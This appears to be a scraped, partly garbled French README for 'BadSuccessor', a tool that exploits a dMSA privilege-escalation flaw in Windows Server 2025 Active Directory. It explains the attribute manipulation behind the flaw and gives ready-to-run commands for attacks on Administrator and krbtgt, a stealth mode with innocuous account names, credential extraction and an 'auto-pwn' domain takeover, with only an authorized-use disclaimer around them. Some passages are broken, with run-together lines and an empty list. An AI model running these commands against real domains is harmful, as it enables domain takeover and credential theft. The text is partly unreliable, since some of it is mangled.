
Exploite la vulnérabilité d'élévation de privilèges dMSA de Windows Server 2025 pour énumérer les OU accessibles en écriture, escalader vers des utilisateurs de domaine arbitraires, extraire des identifiants, et permettre la prise de contrôle du domaine lors d'évaluations de sécurité AD autorisées.
Un outil de test de pénétration qui exploite la vulnérabilité d'élévation de privilèges dMSA (compte de service géré délégué) dans les environnements Active Directory Windows Server 2025.
Cet outil est exclusivement destiné aux tests de pénétration autorisés et à la recherche en sécurité. L'utilisation de cet outil contre des systèmes sans autorisation écrite explicite est illégale et contraire à l'éthique. Les auteurs ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par cet outil.
IMPORTANT : Cet outil est en cours de développement et de test actifs.
Nous encourageons la communauté de la sécurité à :
En utilisant cet outil, vous reconnaissez qu'il est en cours de développement actif et qu'il peut nécessiter des modifications pour votre environnement spécifique.
BadSuccessor exploite une vulnérabilité d'élévation de privilèges dans la fonctionnalité de compte de service géré délégué (dMSA) de Windows Server 2025. La vulnérabilité permet à des attaquants disposant de permissions minimales d'élever leurs privilèges vers n'importe quel utilisateur du domaine, y compris les administrateurs de domaine.
Cet outil est basé sur l'excellente recherche de Yuval Gordon de Akamai Technologies :
La vulnérabilité existe dans le processus de migration dMSA où :
msDS-ManagedAccountPrecededByLink ou ms-DS-Managed-Account-Preceded-By-Link pour pointer vers un utilisateur ciblemsDS-DelegatedMSAState ou ms-DS-Delegated-MSA-State à 2 (migration terminée)De plus, la structure KERB-DMSA-KEY-PACKAGE contient les clés de mot de passe de l'utilisateur cible, permettant l'extraction d'informations d'identification.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Remarque** : L'outil a été testé avec impacket 0.12.0. Des avertissements de compatibilité de version sont affichés à l'exécution.
### Dépendances optionnelles```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChildWriteGenericWriteGenericAllgit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Exemples de démarrage rapide
#### 1. Mode Dry Run (NOUVEAU) - Tester sans apporter de modifications```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Effectuer l'attaque```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Gestion de session (NOUVEAU)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234